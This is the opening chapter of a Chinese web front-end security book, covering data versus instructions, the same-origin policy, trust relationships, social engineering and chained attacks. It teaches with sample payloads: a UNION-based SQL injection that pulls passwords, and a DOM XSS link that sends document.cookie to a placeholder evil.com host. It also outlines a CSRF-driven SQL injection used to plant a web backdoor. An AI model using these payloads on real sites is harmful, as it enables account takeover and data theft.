CHAPTER

1

第 1 章　Web 安全的关键点

了解下面几个关键点对理解整个 Web 安全，甚至整个安全体系都有很大的帮助。我们希望大家的出发点更加贴近实际，有这几个关键点作为支撑，后续的一切将更加清晰明了。

1.1　数据与指令

用浏览器打开一个网站，呈现在我们面前的都是数据，有服务端存储的（如：数据库、内存、文件系统等）、客户端存储的（如：本地 Cookies、Flash Cookies 等）、传输中的（如：JSON 数据、XML 数据等），还有文本数据（如：HTML、JavaScript、CSS 等）、多媒体数据（如：Flash、MP3 等）、图片数据等。

这些数据构成了我们看到的 Web 世界，它表面丰富多彩，背后却是暗流涌动。在数据流的每一个环节都可能出现安全风险。因为数据流有可能被“污染”，而不像预期的那样存储或传输。

如何存储、传输并呈现出这些数据，这需要执行指令，可以这样理解：指令就是要执行的命令。正是这些指令被解释执行，才产生对应的数据内容，而不同指令的解释执行，由对应的环境完成，比如：

```
select username,email,desc from users where id=1;
```

这是一条简单的 SQL 查询指令，当这条指令被解释执行时，就会产生一组数据，内容由 username/email/desc 构成，而解释的环境则为数据库引擎。

再如：

```
<script>
eval(location.hash.substr(1));
</script>
```

<script></script>标签内的是一句 JavaScript 指令，由浏览器的 JS 引擎来解释执行，解释的结果就是数据。而<script></script>本身却是 HTML 指令（俗称 HTML 标签），由浏览器 DOM 引擎进行渲染执行。

如果数据与指令之间能各司其职，那么 Web 世界就非常太平了。可你见过太平盛世真正存在吗？当正常的数据内容被注入指令内容，在解释的过程中，如果注入的指令能够被独立执行，那么攻击就发生了。

我们来看上面两个例子的攻击场景。

1．SQL 注入攻击的发生

```
select username,email,desc from users where id=1;
```

下面以 MySQL 环境为例进行说明，在这条 SQL 语句中，如果 id 的值来自用户提交，

并且用户是通过访问链接（http://www.foo.com/user.php?id=1）来获取自身的账号信息的。当访问这样的链接时，后端会执行上面这条 SQL 语句，并返回对应 id 号的用户数据给前端显示。那么普通用户会规规矩矩地对 id 提交整型数值，如 1、2、3 等，而邪恶的攻击者则会提交如下形式的值：

```
1 union select password,1,1 from users
```

组成的链接形式为：

```
http://www.foo.com/user.php?id=1 union select password,1,1 from users
```

组成的 SQL 语句为：

```
select username,email,desc from users where id=1 union select password,1,1
from users
```

看到了吗？组成的 SQL 语句是合法的，一个经典的 union 查询，此时注入的指令内容就会被当做合法指令执行。当这样的攻击发生时，users 表的 password 就很可能泄漏了。

2．XSS 跨站脚本攻击的发生

```
<script>
eval(location.hash.substr(1));
</script>
```

将这段代码保存到 http://www.foo.com/info.html 中。

JavaScript 的内置函数 eval 可以动态执行 JavaScript 语句，location.hash 获取的是链接 http://www.foo.com/info.html#callback 中的#符号及其后面的内容。substr 是字符串截取函数，location.hash.substr(1)表示截取#符号之后的内容，随后给 eval 函数进行动态执行。

如果攻击者构造出如下链接：

```
http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)
```

浏览器解释执行后，下面的语句：

```
eval(location.hash.substr(1));
```

会变为：

```
eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')
```

当被攻击者被诱骗访问了该链接时，Cookies 会话信息就会被盗取到黑客的网站上，一般情况下，黑客利用该 Cookies 可以登录被攻击者的账号，并进行越权操作。由此可以看到，攻击的发生是因为注入了一段恶意的指令，并且该指令能被执行。

题外话：

跨站攻击发生在浏览器客户端，而 SQL 注入攻击由于针对的对象是数据库，一般情况下，数据库都在服务端，所以 SQL 注入是发生在服务端的攻击。为什么这里说“一般情况下”，那是因为 HTML5 提供了一个新的客户端存储机制：在浏览器端，使用 SQLite 数据库保存客户端数据，该机制允许使用 JavaScript 脚本操作 SQL 语句，从而与本地数据库进行交互。

1.2 浏览器的同源策略

古代的楚河汉界明确规定了楚汉两军的活动界限，理应遵守，否则必天下大乱，而事

实上天下曾大乱后又统一。这里我们不用管这些“分久必合，合久必分”的问题，关键是看到这里规定的“界限”。Web 世界之所以能如此美好地呈现在我们面前，多亏了浏览器的功劳，不过浏览器不是一个花瓶——只负责呈现，它还制定了一些安全策略，这些安全策略有效地保障了用户计算机的本地安全与 Web 安全。

注：

计算机的本地与 Web 是不同的层面，Web 世界（通常称为 Internet 域）运行在浏览器上，而被限制了直接进行本地数据（通常称为本地域）的读写。

同源策略是众多安全策略的一个，是 Web 层面上的策略，非常重要，如果少了同源策略，就等于楚汉两军没了楚河汉界，这样天下就大乱了。

同源策略规定：不同域的客户端脚本在没明确授权的情况下，不能读写对方的资源。

下面分析同源策略下的这个规定，其中有几个关键词：不同域、客户端脚本、授权、读写、资源。

1．不同域或同域

同域要求两个站点同协议、同域名、同端口，比如：表 1-1 展示了表中所列站点与 http://www.foo.com 是否同域的情况。

表 1-1　是否同域情况

站　　点	是否同域	原　　因
https://www.foo.com	不同域	协议不同，https 与 http 是不同的协议
http://xeyeteam.foo.com	不同域	域名不同，xeyeteam 子域与 www 子域不同
http://foo.com	不同域	域名不同，顶级域与 www 子域不是一个概念
http://www.foo.com:8080	不同域	端口不同，8080 与默认的 80 端口不同
http://www.foo.com/a/	同域	满足同协议、同域名、同端口，只是这里多了一个目录而已

从表 1-1 中的对比情况可以看出，我们通常所说的两个站点同域就是指它们同源。

2．客户端脚本

客户端脚本主要指 JavaScript（各个浏览器原生态支持的脚本语言）、ActionScript（Flash 的脚本语言），以及 JavaScript 与 ActionScript 都遵循的 ECMAScript 脚本标准。Flash 提供通信接口，使得这两个脚本语言可以很方便地互相通信。客户端的攻击几乎都是基于这两个脚本语言进行的，当然 JavaScript 是最广泛的。

被打入“冷宫”的客户端脚本有 VBScript，由于该脚本语言相对较孤立，又有当红的 JavaScript 存在，所以实在是没有继续存在的必要。

3．授权

一般情况下，看到这个词，我们往往会想到服务端对客户端访问的授权。客户端也存在授权现象，比如：HTML5 新标准中提到关于 AJAX 跨域访问的情况，默认情况下是不允许跨域访问的，只有目标站点（假如是 http://www.foo.com）明确返回 HTTP 响应头：

```
Access-Control-Allow-Origin: http://www.evil.com
```

那么 www.evil.com 站点上的客户端脚本就有权通过 AJAX 技术对 www.foo.com 上的数据进行读写操作。这方面的攻防细节很有趣，相关内容在后面会详细介绍。

注：

AJAX 是 Asynchronous JavaScript And XML 的缩写，让数据在后台进行异步传输，常见的使用场景有：对网页的局部数据进行更新时，不需要刷新整个网页，以节省带宽资源。AJAX 也是黑客进行 Web 客户端攻击常用的技术，因为这样攻击就可以悄无声息地在浏览器后台进行，做到“杀人无形”。

4．读写权限

Web 上的资源有很多，有的只有读权限，有的同时拥有读和写的权限。比如：HTTP 请求头里的 Referer（表示请求来源）只可读，而 document.cookie 则具备读写权限。这样的区分也是为了安全上的考虑。

5．资源

资源是一个很广泛的概念，只要是数据，都可以认为是资源。同源策略里的资源是指 Web 客户端的资源。一般来说，资源包括：HTTP 消息头、整个 DOM 树、浏览器存储（如：Cookies、Flash Cookies、localStorage 等）。客户端安全威胁都是围绕这些资源进行的。

> 注：
>
> DOM 全称为 Document Object Model，即文档对象模型，就是浏览器将 HTML/XML 这样的文档抽象成一个树形结构，树上的每个节点都代表 HTML/XML 中的标签、标签属性或标签内容等。这样抽象出来就大大方便了 JavaScript 进行读/写操作。Web 客户端的攻击几乎都离不开 DOM 操作。

到此，已经将同源策略的规定分析清楚，如果 Web 世界没有同源策略，当你登录 Gmail 邮箱并打开另一个站点时，这个站点上的 JavaScript 就可以跨域读取你的 Gmail 邮箱数据，这样整个 Web 世界就无隐私可言了。这就是同源策略的重要性，它限制了这些行为。当然，在同一个域内，客户端脚本可以任意读写同源内的资源，前提是这个资源本身是可读可写的。

1.3 信任与信任关系

其实安全的攻防都是围绕“信任”进行的。前面提到的同源策略也是信任的一种表现，默认情况下，不同源则不信任，即不存在什么信任关系，这都是出于安全的考虑。

下面介绍两个“信任”的场景。

1．场景一

一个 Web 服务器上有两个网站 A 与 B，黑客的入侵目标是 A，但是直接入侵 A 遇到了巨大阻碍，而入侵 B 却成功了。由于网站 A 与 B 在同一个 Web 服务器上，且在同一个文件系统里，如果没进行有效的文件权限配置，黑客就可以轻而易举地攻克网站 A。这里暴露的缺陷是：A 与 B 之间过于信任，未做很好的分离。

安全类似木桶原理，短的那块板决定了木桶实际能装多少水。一个 Web 服务器，如果其上的网站没做好权限分离，没控制好信任关系，则整体安全性就由安全性最差的那个网站决定。

2．场景二

很多网站都嵌入了第三方的访问统计脚本，嵌入的方式是使用<script>标签引用，这时就等于建立了信任关系，如果第三方的统计脚本被黑客挂马，那么这些网站也都会被危及。

这个现象非常普遍，且这种形式的挂马攻击也发生过好几起。你的网站本身是很安全的，由于嵌入了第三方内容，从而导致网站不安全，虽然这样不会导致你的网站直接被入侵，但却危害到了访问你网站的广大用户。

这种信任关系很普遍，服务器与服务器、网站与网站、Web 服务的不同子域、Web 层面与浏览器第三方插件、Web 层面与浏览器特殊 API、浏览器特殊 API 与本地文件系统、嵌入的 Flash 与当前 DOM 树、不同协议之间，等等。一个安全性非常好的网站有可能会因为建立了不可靠的信任关系，导致网站被黑。

信任导致建立了一种信任关系，本书 Web 前端黑客的各种攻防都是围绕这种信任关系进行的。

1.4　社会工程学的作用

社会工程学简称社工。

攻防过程就是一个斗智斗勇的过程，每一次成功的攻击，社工总是扮演着非常重要的角色。著名黑客凯文米特尼克在《欺骗的艺术》一书中说的就是社工如何神奇，其实，通俗地说，社工就是“骗”，即如何伪装攻击以欺骗目标用户。

常用的社工辅助技巧有：Google Hack、SNS 垂直搜索、各种收集的数据库集合查询等。

本书的一些攻击案例中充满了各种社工火药，各种新颖的社工手法层出不穷，有句话叫做：思想有多远，你就能走多远。

1.5　攻防不单一

一次完整的渗透会利用到多种攻击手法。比如，某开源 Web 应用的管理员后台有 SQL

注入，通过前期的踩点，我们发现这个 SQL 注入具有操作系统写权限，而且知道了该开源 Web 应用的物理路径。如果不是管理员后台，直接用一条 SQL 语句就可以得到一个 Web 后门，好像很可惜了，因为必须具备管理员权限。其实不然，在这个场景中，完全不用悲观，借用 CSRF 很可能就能成功，大致过程如下：

（1）提交这条包含恶意 SQL 语句的后台链接（事先做好 URL 的各种编码转换，以达到隐蔽效果）给管理员，比如留言、评论、申请友情链接等。

（2）管理员登录 Web 应用被诱骗打开了这条链接。

（3）发生 CSRF（跨站请求伪造）了，此时就会以管理员权限进行后续的指令执行。

这个过程通过 CSRF 借用了管理员权限，然后执行 SQL 注入，很巧妙地“借刀杀人”。

注：

CSRF 是跨站请求伪造，具体内容在第 4 章详细介绍。其实上面这个小场景已经暗示：CSRF 会借用目标用户的权限做一些借刀杀人的事（注意是“借用”，而不是“盗取”目标权限），然后去做坏事，“盗取”通常是 XSS（跨站脚本攻击）最喜欢做的事。

在 Web 渗透过程中，这些攻击手法经常互补，合理地组合各种攻击手法，可以更容易攻下目标。攻与防都得考虑这些组合情况，把安全点考虑得面面俱到的确不容易，但绝对是好事。写本节的目的也是想让我们跳出思维局限，攻和防不要从单一角度考虑。

1.6 场景很重要

经常听到有人说：“XSS 没危害，很少有人去关注。”其实是说这话的人可能省略了上

下文，比如，对于那些半年不更新的小企业网站来说，发生 XSS 漏洞几乎没什么用。

挂马？几乎不会发生，对于没影响力的网站，谁会用 XSS 去诱骗挂马？

盗取管理员 Cookies？半年不更新的网站，这个概率很低了。

如果真的有人去进行 APT（持久化威胁）攻击，就盯这个网站半年，一个 XSS 盗取 Cookies 的利用一等就是半年，管理员也许不会被诱骗查看这个 XSS 链接，即使查看了，如果是个反射型的 XSS，IE 8/IE 9/Chome 直接就给拦截了。看吧……我们还能说这个 XSS 有多大危害吗？危害几乎可以忽略。可是就这样一传十，十传百，很多人都开始感觉 XSS 就是鸡肋，下结论越来越不负责了，在他们眼里只有那种类似 MS08-067 远程用操作系统权限的系统级别漏洞才是王道，我们不否认这样很帅，不过前端黑客攻击的对象是 Web 应用，并非操作系统，本身没有可比性。在很多场景中，前端攻击的 XSS 等就是王道。

比如在各类 SNS、邮件系统、开源流行的 Web 应用场景中，前端攻击被广泛实施与关注。任何一次攻击都脱离不了具体场景，有关很多精彩的利用，大家可以在本书中看到。

1.7　小结

通过本章的阅读，大家应该能明白：安全研究可以有一个大的起点，这些起点大多是通用的，而不局限在 Web 安全。了解了安全的几个关键点，读者对我们后续的研究就更能触类旁通了，我们希望授之以渔，严谨地对待每个安全点。

开始进入我们的 Web 前端黑客的内容！